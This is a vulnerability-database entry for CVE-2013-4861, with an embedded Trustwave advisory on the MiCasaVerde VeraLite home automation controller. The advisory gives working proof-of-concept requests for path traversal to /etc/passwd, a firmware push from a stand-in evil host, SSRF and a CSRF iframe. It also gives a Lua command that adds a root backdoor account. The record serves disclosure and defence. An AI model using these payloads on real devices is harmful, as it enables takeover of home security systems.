ID

VAR-202001-1147


CVE

CVE-2013-4861


TITLE

Mi Casa Verde VeraLite Directory Traversal Vulnerability

Trust: 0.9

sources: CNVD: CNVD-2013-12046 // BID: 61588

DESCRIPTION

Directory traversal vulnerability in cgi-bin/cmh/get_file.sh in MiCasaVerde VeraLite with firmware 1.5.408 allows remote authenticated users to read arbirary files via a .. (dot dot) in the filename parameter. MiCasaVerde VeraLite Contains a path traversal vulnerability.Information may be obtained. Mi Casa Verde VeraLite is a home gateway controller device from Mi Casa Verde, Hong Kong, China. The device can control the home appliances connected to the home Wi-Fi network through a computer or mobile phone. A directory traversal vulnerability exists in Mi Casa Verde VeraLite. Because the program fails to properly filter user-submitted input, a remote attacker can use a specially crafted request with a directory traversal word sequence ('../') to exploit the vulnerability to retrieve arbitrary files in the context of the affected device. Information that helps to launch further attacks. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. Trustwave SpiderLabs Security Advisory TWSL2013-019: Multiple Vulnerabilities in MiCasaVerde VeraLite Published: 08/01/13 Version: 1.0 Vendor: MiCasaVerde (http://www.micasaverde.com/) Product: VeraLite Version affected: 1.5.408 Product description: The MiCasaVerde VeraLite is the budget model from MiCasaVerde, a product which centralizes control over home automation devices such as door locks, window blinds, security cameras, smoke detectors, HVAC systems, lights, etc. Finding 1: Path Traversal *****Credit: Daniel Crowley of Trustwave SpiderLabs CVE: CVE-2013-4861 CWE: CWE-23 The VeraLite has a path traversal vulnerability allowing for disclosure of arbitrary files. This allows an attacker to retrieve the contents of any file on the system such as the /etc/passwd file which contains the hashed root password as well as the tech support remote access password if remote access has been configured. A proof of concept can be run against a VeraLite by using the following URL: GET http://A.B.C.D/cgi-bin/cmh/get_file.sh?filename=../../../../../etc/passwd On a newly unboxed VeraLite, this shouldn't work as the first part of the path used by the script doesn't exist, but the directory which must exist for exploitation to work correctly can be created by using the store_file.sh script, like so: GET http://A.B.C.D/cgi-bin/cmh/store_file.sh?store_file=test This attack can also be launched through the Internet-based control panel at cp.mios.com when logged in as either an admin or guest level account. Finding 2: Insufficient Authorization Checks *****Credit: Daniel Crowley of Trustwave SpiderLabs CVE: CVE-2013-4862 CWE: CWE-285 The VeraLite makes a distinction between Administrator and Guest users such that Guest users should not be able to make changes to the configuration of the system. There are several functionalities included in the VeraLite console available to Guest level users which can be used to escalate privileges. A) Firmware update - This allows a guest to push custom firmware to the unit and can allow for full compromise of the device. A proof of concept can be seen using the following URL: GET http://A.B.C.D/upgrade_step2.sh?squashfs=http://example.com/evil_vera_firmware.squashfs B) Settings backup - This allows a guest to obtain copies of various sensitive files, including the lighttpd.users file which contains hashed cp.mios.com passwords, and the passwd file which contains the hashed root password. GET http://A.B.C.D/cgi-bin/cmh/backup.sh?external=1 C) Test Luup code (Lua) - This allows a guest to run Lua code on the VeraLite as root. A backdoor account can be added with the following POST request: POST /port_49451/upnp/control/hag HTTP/1.1 Host: A.B.C.D Accept: text/javascript, text/html, application/xml, text/xml, */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest X-Prototype-Version: 1.7 Content-Type: text/xml;charset=UTF-8 MIME-Version: 1.0 SOAPACTION: "urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua" Content-Length: 311 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body> <u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1"> <DeviceNum></DeviceNum> <Code>os.execute(&quot;echo 'backdoor%3a%3a0%3a0%3aBackdoor Root Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd&quot;)</Code> </u:RunLua></s:Body></s:Envelope> Finding 3: Insufficient Authentication Checks *****Credit: Daniel Crowley of Trustwave SpiderLabs CVE: CVE-2013-4863 CWE: CWE-287 The VeraLite exposes UPnP functionality which allows for Lua code to be run as root from the LAN without authentication using the RunLua action in the HomeAutomationGateway service of the HomeAutomationGateway device. A backdoor account can be added with the following POST request to port 49451: POST /upnp/control/hag HTTP/1.1 Host: A.B.C.D:49451 Accept: text/javascript, text/html, application/xml, text/xml, */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest X-Prototype-Version: 1.7 Content-Type: text/xml;charset=UTF-8 MIME-Version: 1.0 SOAPACTION: "urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua" Content-Length: 311 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body> <u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1"> <DeviceNum></DeviceNum> <Code>os.execute(&quot;echo 'backdoor%3a%3a0%3a0%3aBackdoor Root Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd&quot;)</Code> </u:RunLua></s:Body></s:Envelope> Finding 4: Server-Side Request Forgery *****Credit: Daniel Crowley of Trustwave SpiderLabs CVE: CVE-2013-4864 CWE: CWE-918 The VeraLite will make HTTP requests on behalf of a user using the /cgi-bin/cmh/proxy.sh script. A proof of concept to pull the homepage of trustwave.com is as follows: GET http://A.B.C.D/cgi-bin/cmh/proxy.sh?url=https://www.trustwave.com This allows an attacker to bypass firewall controls, use the VeraLite as a proxy Finding 5: Cross-Site Request Forgery *****Credit: Daniel Crowley of Trustwave SpiderLabs CVE: CVE-2013-4865 CWE: CWE-352 The VeraLite does not implement any defense against cross-site request forgery. A proof of concept as seen below can cause a Vera user to update their firmware using a custom firmware URL: <html> <body> <iframe src="http://A.B.C.D/upgrade_step2.sh?squashfs=http://example.com/evil_vera_firmware.squashfs" width="1" height="1"> </iframe> </body> </html> If this PoC was embedded in any web page a targeted user visited, an attacker would be able to make arbitrary changes to the firmware on the device, allowing the potential for remote root access. Vendor Response: "...the "vulnerabilities" you referred to were deliberate design decisions because that's what the customers in this particular channel (ie Vera retail) want. As you can see we have an open forum to discuss this, and very people object to leaving Vera open. So we are not able to lock down the gateway, and effectively break the systems of many customers who rely on the open system to run their own scripts and plugins." Remediation Steps: No official patch is available. To limit exposure, network access to these devices should be limited to authorized personnel through the use of access control lists and proper network segmentation. Revision History: 04/23/13 - Vulnerability disclosed to vendor 06/04/13 - Vendor confirms they will not fix 08/01/13 - Advisory published References 1. http://www.micasaverde.com/ About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. ________________________________ This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format

Trust: 2.52

sources: NVD: CVE-2013-4861 // JVNDB: JVNDB-2013-007154 // CNVD: CNVD-2013-12046 // BID: 61588 // PACKETSTORM: 122654

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2013-12046

AFFECTED PRODUCTS

vendor:micasaverdemodel:veralitescope:eqversion:1.5.408

Trust: 1.0

vendor:mimodel:casa verde veralitescope:eqversion:1.5.408

Trust: 0.9

vendor:vera controlmodel:veralitescope:eqversion: -

Trust: 0.8

vendor:vera controlmodel:veralitescope:eqversion:veralite firmware 1.5.408

Trust: 0.8

sources: CNVD: CNVD-2013-12046 // BID: 61588 // JVNDB: JVNDB-2013-007154 // NVD: CVE-2013-4861

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2013-4861
value: MEDIUM

Trust: 1.0

NVD: CVE-2013-4861
value: MEDIUM

Trust: 0.8

CNVD: CNVD-2013-12046
value: MEDIUM

Trust: 0.6

CNNVD: CNNVD-201308-037
value: MEDIUM

Trust: 0.6

nvd@nist.gov: CVE-2013-4861
severity: MEDIUM
baseScore: 4.0
vectorString: AV:N/AC:L/AU:S/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 8.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

CNVD: CNVD-2013-12046
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

nvd@nist.gov: CVE-2013-4861
baseSeverity: MEDIUM
baseScore: 6.5
vectorString: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: LOW
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 2.8
impactScore: 3.6
version: 3.1

Trust: 1.0

NVD: CVE-2013-4861
baseSeverity: MEDIUM
baseScore: 6.5
vectorString: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: LOW
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: CNVD: CNVD-2013-12046 // JVNDB: JVNDB-2013-007154 // CNNVD: CNNVD-201308-037 // NVD: CVE-2013-4861

PROBLEMTYPE DATA

problemtype:CWE-22

Trust: 1.0

problemtype:Path traversal (CWE-22) [NVD Evaluation ]

Trust: 0.8

sources: JVNDB: JVNDB-2013-007154 // NVD: CVE-2013-4861

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201308-037

TYPE

path traversal

Trust: 0.6

sources: CNNVD: CNNVD-201308-037

PATCH

title:Top Pageurl:https://support.getvera.com/hc/en-us

Trust: 0.8

sources: JVNDB: JVNDB-2013-007154

EXTERNAL IDS

db:NVDid:CVE-2013-4861

Trust: 3.4

db:PACKETSTORMid:122654

Trust: 2.5

db:EXPLOIT-DBid:27286

Trust: 1.6

db:BIDid:61588

Trust: 0.9

db:JVNDBid:JVNDB-2013-007154

Trust: 0.8

db:CNVDid:CNVD-2013-12046

Trust: 0.6

db:CNNVDid:CNNVD-201308-037

Trust: 0.6

sources: CNVD: CNVD-2013-12046 // BID: 61588 // JVNDB: JVNDB-2013-007154 // PACKETSTORM: 122654 // CNNVD: CNNVD-201308-037 // NVD: CVE-2013-4861

REFERENCES

url:http://packetstormsecurity.com/files/122654/micasaverde-veralite-1.5.408-traversal-authorization-csrf-disclosure.html

Trust: 2.4

url:http://www.exploit-db.com/exploits/27286

Trust: 1.6

url:https://www3.trustwave.com/spiderlabs/advisories/twsl2013-019.txt

Trust: 1.6

url:https://nvd.nist.gov/vuln/detail/cve-2013-4861

Trust: 1.5

url:http://www.securityfocus.com/bid/61588

Trust: 0.6

url:http://seclists.org/fulldisclosure/2013/aug/17

Trust: 0.3

url:http://www.micasaverde.com/controllers/veralite/

Trust: 0.3

url:http://schemas.xmlsoap.org/soap/encoding/"

Trust: 0.1

url:http://a.b.c.d/cgi-bin/cmh/backup.sh?external=1

Trust: 0.1

url:https://www.trustwave.com

Trust: 0.1

url:http://a.b.c.d/cgi-bin/cmh/store_file.sh?store_file=test

Trust: 0.1

url:https://www.trustwave.com/spiderlabs

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-4862

Trust: 0.1

url:http://www.micasaverde.com/)

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-4865

Trust: 0.1

url:http://www.micasaverde.com/

Trust: 0.1

url:http://a.b.c.d/upgrade_step2.sh?squashfs=http://example.com/evil_vera_firmware.squashfs"

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-4863

Trust: 0.1

url:http://schemas.xmlsoap.org/soap/envelope/"><s:body>

Trust: 0.1

url:http://a.b.c.d/cgi-bin/cmh/get_file.sh?filename=../../../../../etc/passwd

Trust: 0.1

url:http://a.b.c.d/cgi-bin/cmh/proxy.sh?url=https://www.trustwave.com

Trust: 0.1

url:http://a.b.c.d/upgrade_step2.sh?squashfs=http://example.com/evil_vera_firmware.squashfs

Trust: 0.1

sources: CNVD: CNVD-2013-12046 // BID: 61588 // JVNDB: JVNDB-2013-007154 // PACKETSTORM: 122654 // CNNVD: CNNVD-201308-037 // NVD: CVE-2013-4861

CREDITS

Trustwave Advisories

Trust: 0.9

sources: BID: 61588 // CNNVD: CNNVD-201308-037

SOURCES

db:CNVDid:CNVD-2013-12046
db:BIDid:61588
db:JVNDBid:JVNDB-2013-007154
db:PACKETSTORMid:122654
db:CNNVDid:CNNVD-201308-037
db:NVDid:CVE-2013-4861

LAST UPDATE DATE

2024-11-23T21:55:40.660000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2013-12046date:2013-08-12T00:00:00
db:BIDid:61588date:2013-08-01T00:00:00
db:JVNDBid:JVNDB-2013-007154date:2020-02-18T00:00:00
db:CNNVDid:CNNVD-201308-037date:2020-05-29T00:00:00
db:NVDid:CVE-2013-4861date:2024-11-21T01:56:35.200

SOURCES RELEASE DATE

db:CNVDid:CNVD-2013-12046date:2013-08-12T00:00:00
db:BIDid:61588date:2013-08-01T00:00:00
db:JVNDBid:JVNDB-2013-007154date:2020-02-18T00:00:00
db:PACKETSTORMid:122654date:2013-08-02T15:13:14
db:CNNVDid:CNNVD-201308-037date:2013-08-06T00:00:00
db:NVDid:CVE-2013-4861date:2020-01-28T17:15:11.350